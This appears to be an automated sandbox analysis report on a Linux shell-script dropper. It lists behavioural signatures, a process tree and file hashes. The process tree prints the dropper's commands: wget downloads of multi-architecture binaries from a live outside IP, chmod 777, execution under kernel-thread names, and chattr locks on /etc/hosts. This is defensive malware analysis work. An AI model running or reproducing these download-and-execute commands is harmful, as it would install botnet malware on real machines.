Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/08/2026, 14:40

General

  • Target
    a.sh
  • Size 856B
  • Sample260808-r2dkfssyaz
  • SHA256 67d0b94ca31e169b60d6a6449a99f114de83c321f21928371646f9af454d1e30
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Modifies the /etc/hosts DNS resolution file 1 TTPs 2 IoCs

    Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

  • Traces itself 4 IoCs

    Traces itself to prevent debugging attempts

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Modifies init.d 2 TTPs 3 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 2 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 41 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a.sh
    /tmp/a.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/mkdir
      mkdir -p /tmp/.cache_sal
      2⤵
      • Reads runtime system information
      PID:644
    • /usr/bin/wget
      wget -q -O systemd_l http://94.154.43.244//arm
      2⤵
      • Writes file to tmp directory
      PID:661
    • /usr/bin/wget
      wget -q -O kworker_l http://94.154.43.244//i586
      2⤵
      • Writes file to tmp directory
      PID:663
    • /usr/bin/wget
      wget -q -O kthreadd_l http://94.154.43.244//arm5
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/wget
      wget -q -O rcu_l http://94.154.43.244//i486
      2⤵
      • Writes file to tmp directory
      PID:662
    • /usr/bin/wget
      wget -q -O init_l http://94.154.43.244//arm7
      2⤵
      • Writes file to tmp directory
      PID:658
    • /usr/bin/wget
      wget -q -O irqbalance_l http://94.154.43.244//i686
      2⤵
      • Writes file to tmp directory
      PID:665
    • /usr/bin/wget
      wget -q -O migration_l http://94.154.43.244//mpsl
      2⤵
      • Writes file to tmp directory
      PID:671
    • /usr/bin/wget
      wget -q -O ueventd_l http://94.154.43.244//arm6
      2⤵
      • Writes file to tmp directory
      PID:659
    • /usr/bin/wget
      wget -q -O jbd2_l http://94.154.43.244//m68k
      2⤵
      • Writes file to tmp directory
      PID:667
    • /usr/bin/wget
      wget -q -O ext4_l http://94.154.43.244//ppc440
      2⤵
      • Writes file to tmp directory
      PID:673
    • /usr/bin/wget
      wget -q -O ksoftirqd_l http://94.154.43.244//mips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:669
    • /usr/bin/wget
      wget -q -O cryptd_l http://94.154.43.244//sh4
      2⤵
      • Writes file to tmp directory
      PID:675
    • /usr/bin/wget
      wget -q -O watchdog_l http://94.154.43.244//ppc
      2⤵
      • Writes file to tmp directory
      PID:672
    • /usr/bin/wget
      wget -q -O kdevtmpfs_l http://94.154.43.244//x86_64
      2⤵
      • Writes file to tmp directory
      PID:676
    • /bin/chmod
      chmod 777 rcu_l
      2⤵
      • File and Directory Permissions Modification
      PID:698
    • /bin/chmod
      chmod 777 ueventd_l
      2⤵
      • File and Directory Permissions Modification
      PID:697
    • /bin/chmod
      chmod 777 init_l
      2⤵
      • File and Directory Permissions Modification
      PID:699
    • /bin/chmod
      chmod 777 kworker_l
      2⤵
      • File and Directory Permissions Modification
      PID:704
    • /bin/chmod
      chmod 777 irqbalance_l
      2⤵
      • File and Directory Permissions Modification
      PID:709
    • /bin/chmod
      chmod 777 kdevtmpfs_l
      2⤵
      • File and Directory Permissions Modification
      PID:710
    • /bin/chmod
      chmod 777 cryptd_l
      2⤵
      • File and Directory Permissions Modification
      PID:713
    • /bin/chmod
      chmod 777 jbd2_l
      2⤵
      • File and Directory Permissions Modification
      PID:714
    • /bin/chmod
      chmod 777 ext4_l
      2⤵
      • File and Directory Permissions Modification
      PID:717
    • /bin/chmod
      chmod 777 watchdog_l
      2⤵
      • File and Directory Permissions Modification
      PID:721
    • /bin/chmod
      chmod 777 kthreadd_l
      2⤵
      • File and Directory Permissions Modification
      PID:722
    • /bin/chmod
      chmod 777 systemd_l
      2⤵
      • File and Directory Permissions Modification
      PID:724
    • /bin/chmod
      chmod 777 ksoftirqd_l
      2⤵
      • File and Directory Permissions Modification
      PID:739
    • /bin/chmod
      chmod 777 migration_l
      2⤵
      • File and Directory Permissions Modification
      PID:746
  • /bin/sh
    sh ./rcu_l
    1⤵
      PID:703
    • /bin/sh
      sh ./ueventd_l
      1⤵
        PID:701
      • /tmp/.cache_sal/rcu_l
        ./rcu_l
        1⤵
          PID:702
        • /tmp/.cache_sal/init_l
          ./init_l
          1⤵
          • Modifies the /etc/hosts DNS resolution file
          • Traces itself
          • Modifies init.d
          • Modifies rc script
          • Checks CPU configuration
          • Reads runtime system information
          PID:705
          • /usr/bin/chattr
            chattr +i /etc/hosts
            2⤵
              PID:747
            • /usr/bin/chattr
              chattr +i /lib/modules/.kmod
              2⤵
                PID:761
            • /tmp/.cache_sal/ueventd_l
              ./ueventd_l
              1⤵
              • Modifies the /etc/hosts DNS resolution file
              • Traces itself
              • Modifies init.d
              • Modifies rc script
              • Checks CPU configuration
              • Reads runtime system information
              PID:700
              • /usr/bin/chattr
                chattr +i /etc/hosts
                2⤵
                  PID:751
                • /usr/bin/chattr
                  chattr +i /lib/modules/.kmod
                  2⤵
                    PID:762
                • /bin/sh
                  sh ./init_l
                  1⤵
                    PID:706
                  • /bin/sh
                    sh ./kworker_l
                    1⤵
                      PID:716
                    • /tmp/.cache_sal/kworker_l
                      ./kworker_l
                      1⤵
                        PID:715
                      • /bin/sh
                        sh ./irqbalance_l
                        1⤵
                          PID:720
                        • /tmp/.cache_sal/irqbalance_l
                          ./irqbalance_l
                          1⤵
                            PID:719
                          • /tmp/.cache_sal/kdevtmpfs_l
                            ./kdevtmpfs_l
                            1⤵
                              PID:725
                            • /bin/sh
                              sh ./kdevtmpfs_l
                              1⤵
                              • Writes file to tmp directory
                              PID:726
                            • /bin/sh
                              sh ./cryptd_l
                              1⤵
                                PID:730
                              • /tmp/.cache_sal/cryptd_l
                                ./cryptd_l
                                1⤵
                                  PID:729
                                • /tmp/.cache_sal/ext4_l
                                  ./ext4_l
                                  1⤵
                                    PID:734
                                  • /bin/sh
                                    sh ./ext4_l
                                    1⤵
                                      PID:735
                                    • /tmp/.cache_sal/jbd2_l
                                      ./jbd2_l
                                      1⤵
                                        PID:731
                                      • /bin/sh
                                        sh ./jbd2_l
                                        1⤵
                                          PID:732
                                        • /tmp/.cache_sal/kthreadd_l
                                          ./kthreadd_l
                                          1⤵
                                          • Traces itself
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          PID:741
                                        • /tmp/.cache_sal/watchdog_l
                                          ./watchdog_l
                                          1⤵
                                            PID:737
                                          • /bin/sh
                                            sh ./watchdog_l
                                            1⤵
                                              PID:738
                                            • /tmp/.cache_sal/systemd_l
                                              ./systemd_l
                                              1⤵
                                              • Modifies Watchdog functionality
                                              • Traces itself
                                              • Enumerates active TCP sockets
                                              • Modifies init.d
                                              • Changes its process name
                                              • Checks CPU configuration
                                              • Reads system network configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:743
                                            • /bin/sh
                                              sh ./systemd_l
                                              1⤵
                                                PID:744
                                              • /bin/sh
                                                sh ./kthreadd_l
                                                1⤵
                                                  PID:742
                                                • /bin/sh
                                                  sh ./ksoftirqd_l
                                                  1⤵
                                                    PID:750
                                                  • /tmp/.cache_sal/ksoftirqd_l
                                                    ./ksoftirqd_l
                                                    1⤵
                                                      PID:749
                                                    • /bin/sh
                                                      sh ./migration_l
                                                      1⤵
                                                        PID:755
                                                      • /tmp/.cache_sal/migration_l
                                                        ./migration_l
                                                        1⤵
                                                          PID:754

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

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                                                              Downloads

                                                              sysd

                                                              • Path /etc/init.d/sysd
                                                              • Size 31B
                                                              • SHA256 8002dfd9074548dedf2a76c4f95709fd7195ea43b827e342a04c7cb00a4ef51d
                                                              • MD5 SHA1 SHA512

                                                              .kmod

                                                              • Path /lib/modules/.kmod
                                                              • Size 206KB
                                                              • SHA256 3335197f4337459f1adf86faefa592549499a928a01071c75eb398e1a5b2bc58
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              dionaea.pid

                                                              • Path /run/dionaea.pid
                                                              • Size 10B
                                                              • SHA256 08244842313bde97e69a9d5a549fdd79c29f0287a85bc7a5a2c855748dccc206
                                                              • MD5 SHA1 SHA512

                                                              cryptd_l

                                                              • Path /tmp/.cache_sal/cryptd_l
                                                              • Size 438KB
                                                              • SHA256 f780dfe738826177e799952bee1e3c6a96464a499d76aae186d400d0c7fb2c82
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              ext4_l

                                                              • Path /tmp/.cache_sal/ext4_l
                                                              • Size 478KB
                                                              • SHA256 343e4cca847c00aeb4ee712d49f1ae4bbefae9803019f55dbc79910610664147
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              init_l

                                                              • Path /tmp/.cache_sal/init_l
                                                              • Size 206KB
                                                              • SHA256 083235a8968781c8d8a33c4ff82d270b0fbc1f99443644dfdf25d820089bb65c
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              init_l

                                                              • Path /tmp/.cache_sal/init_l
                                                              • Size 1024B
                                                              • SHA256 5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef
                                                              • MD5 SHA1 SHA512

                                                              irqbalance_l

                                                              • Path /tmp/.cache_sal/irqbalance_l
                                                              • Size 354KB
                                                              • SHA256 ede7aa0fe310bbf7633b326a8d5bc91409239f04c9b7aa1481dd1d6a973f29e4
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              jbd2_l

                                                              • Path /tmp/.cache_sal/jbd2_l
                                                              • Size 461KB
                                                              • SHA256 e5864f03f621b464a89a802d5672299f0098cc76528c2b085fbbb9876a669649
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              kdevtmpfs_l

                                                              • Path /tmp/.cache_sal/kdevtmpfs_l
                                                              • Size 388KB
                                                              • SHA256 cc3a4c69a58f592c65465f139a7e4446fff6a04670f3039d108f9b896ef1ca69
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              ksoftirqd_l

                                                              • Path /tmp/.cache_sal/ksoftirqd_l
                                                              • Size 610KB
                                                              • SHA256 c4d0da9d6b57f8a4847ed2e5ff530f0b1c9552340d3c270771148bcda492f661
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              kthreadd_l

                                                              • Path /tmp/.cache_sal/kthreadd_l
                                                              • Size 502KB
                                                              • SHA256 0452f9b557ddc5621efd0af6997491c753525a72ad083f55e0ebca9cba2e429c
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              kworker_l

                                                              • Path /tmp/.cache_sal/kworker_l
                                                              • Size 346KB
                                                              • SHA256 99c8a5433fb68c939767326a94cd385167a75071c65e2bc90f1dfcdf0c179ea5
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              migration_l

                                                              • Path /tmp/.cache_sal/migration_l
                                                              • Size 619KB
                                                              • SHA256 d52cc6f23cd1510e36f77ba3c0ed6a7742f2fd344b7fa99054e6694062e74d5a
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              rcu_l

                                                              • Path /tmp/.cache_sal/rcu_l
                                                              • Size 117KB
                                                              • SHA256 748d9b669833810f30005f7682cdab81ca6d51a941383acc7c0ea3ceeb2b303f
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              systemd_l

                                                              • Path /tmp/.cache_sal/systemd_l
                                                              • Size 506KB
                                                              • SHA256 b6c742d63951934bde001f9c2f203fa081032e68a417256a8b059b6f3a8de028
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              ueventd_l

                                                              • Path /tmp/.cache_sal/ueventd_l
                                                              • Size 163KB
                                                              • SHA256 f9d140932800740056f53de25d75bf74c0bf1c070a6183af71eb79aceb5783db
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              watchdog_l

                                                              • Path /tmp/.cache_sal/watchdog_l
                                                              • Size 477KB
                                                              • SHA256 3b5cd140fd24f4d5f84142f1ed2ea531eaeda01d160a6a2f8858910372d4615d
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH